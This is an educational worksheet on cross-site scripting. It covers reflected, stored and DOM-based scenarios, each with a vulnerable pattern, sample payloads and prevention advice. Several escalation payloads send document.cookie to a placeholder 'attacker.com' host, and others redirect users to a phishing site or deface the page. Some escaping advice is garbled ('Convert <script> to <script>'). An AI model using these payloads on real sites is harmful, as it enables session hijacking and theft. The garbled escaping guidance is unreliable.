

XSS

Scenario 1: Reflected XSS in a Search Bar

Q1: A website has a search feature that reflects user input in the response. How can an attacker exploit it?

Scenario:

A bank website has a search URL:

<https://securebank.com/search?query=balance>

If a user enters "**balance**", the response page displays:

<h1>Search results for: balance</h1>

However, the site **does not sanitize input**

Q1. How does the Attacker modify the URL?

[https://securebank.com/search?query=<script>alert\('XSS Attack'\);</script>](https://securebank.com/search?query=<script>alert('XSS Attack');</script>)

Q2. What will happen?

An alert message box will pop up at the client said with the message "XSS Attack"

Q3. What are the risks of this attack?

- Displaying fake login forms (phishing)
- Stealing cookies with document.cookie
- Injecting keyloggers to capture user input
- Defacing the website by modifying displayed content.

Q4. How can this be prevented?

- Escape HTML output: Convert <script> to <script>
- Use a content security policy (CSP) to block inline scripts.
- Validate input: Only allow alphanumeric characters.

XSS

Scenario 2: Reflected XSS via Login Error Message

A website returns error messages based on user input. How can an attacker exploit this?

A login page takes the **username from the URL**:

<https://shop.com/login?error=Invalid User: admin>

The response page displays:

`<p>Error: Invalid User: admin</p>`

Q1. If input is not sanitized, an attacker crafts this URL?

[https://shop.com/login?user=<script>alert\('XSS Attack'\);</script>](https://shop.com/login?user=<script>alert('XSS Attack');</script>)

Q2. What will happen?

An alert message box will pop up at the client said with the message "XSS Attack"

Q3. How can this attack be escalated?

b) Session Hacking

- `<script>document.location="http://attacker.com/steal?cookie="+document.cookie;<script>`

a) Redirecting the website owned by the attacker

Q4. How can developers prevent this?

- Escape HTML output: Convert `<script>` to `<script>`
- Use a content security policy (CSP) to block inline scripts.
- Validate input: Only allow alphanumeric characters.

XSS

Scenario 3: Stored XSS in a Comment Section

A website allows users to post comments. How can an attacker inject a Stored XSS payload?

A news website allows users to comment on articles. The comments are stored in the database and displayed when other users visit the page.

Vulnerable Comment Submission Form

```
<form action="/post_comment" method="POST">  
  <input type="text" name="comment">  
  <button type="submit">Post</button>  
</form>
```

On the webpage, comments are displayed as:

```
<p>User comment: Great article!</p>
```

Q1. If input is **not sanitized**, an attacker crafts a script and submits:

```
<script>alert('Hacker!');</script>
```

Q2. What happens?

Since the comment gets stored in the database, every time someone visits the article, the script executes

Q3. Can the attack be made riskier by stealing cookies? How?

```
<script>document.location="http://attacker.com/steal?cookie="+document.cookie;</script>
```

XSS

Q4. What are the risks?

- Defacing the page by modifying content.
- Stealing cookies to hijack user sessions
- Keylogging to capture user input.

Q5. How to prevent this attack?

- Escape HTML characters storing in the database (< as < > as >)
- Use an allowlist approach: Only allow plain text or markdown instead of raw HTML
- Use a Content Security Policy (CSP) to block unauthorized script execution.

XSS

Scenario 4: Stored XSS in an Admin Dashboard**How can attackers use Stored XSS to target administrators?**

An admin panel shows **customer inquiries** stored in a database.

Vulnerable Implementation:

```
<table>
  <tr>
    <td>{{inquiry.name}}</td>
    <td>{{inquiry.message}}</td>
  </tr>
</table>
```

Q1. An attacker submits an inquiry with payload to steal session.

```
<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>
```

Q2. What happens?

When an admin opens the dashboard, their session is stolen

Q3. What are the risks of this attack?

- Taking over the admin account
- Deleting or modifying customer records
- Injecting malware into the website.

XSS

Q4. How can developers prevent this?

- Sanitize user input before storing it.
- Use HTTP-only cookies to prevent JS access to session cookies
- Implement CSP to block unauthorized scripts

XSS

Scenario 5: DOM XSS via document.write

A website has a search feature that updates the results dynamically using JavaScript.

Vulnerable Code:

```
<script>
    var searchQuery = new URLSearchParams(window.location.search).get("q");
    document.write("<h2>Search results for: " + searchQuery + "</h2>");
</script>
```

If a user visits:

<https://example.com/search?q=Hello>

The page displays:

`<h2>Search results for: Hello</h2>`

Q1. Since document.write() directly injects user input into the DOM, an attacker can craft a URL like:

[https://example.com/search?q=<script>alert\("XSS Attack"\);</script>](https://example.com/search?q=<script>alert('XSS Attack');</script>)

Q2. What is the Result?

An alert message box will pop up at the client said with the message "XSS Attack"

Q3. How can an attacker exploit this beyond alerts?**a. By Stealing cookies:**

```
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;<script>
```

XSS

- b. **By Redirecting users to a phishing site:**

```
<script>wondow.location='http://fakebank.com';</script>
```

- c. **Modify page content dynamically:**

```
<script>document.body.innerHTML='<h1>Hacked!</h1>';</script>
```

Q4. How to prevent this attack?

- Sanitize user input before storing it.
- Use HTTP-only cookies to prevent JS access to session cookies
- Implement CSP to block unauthorized scripts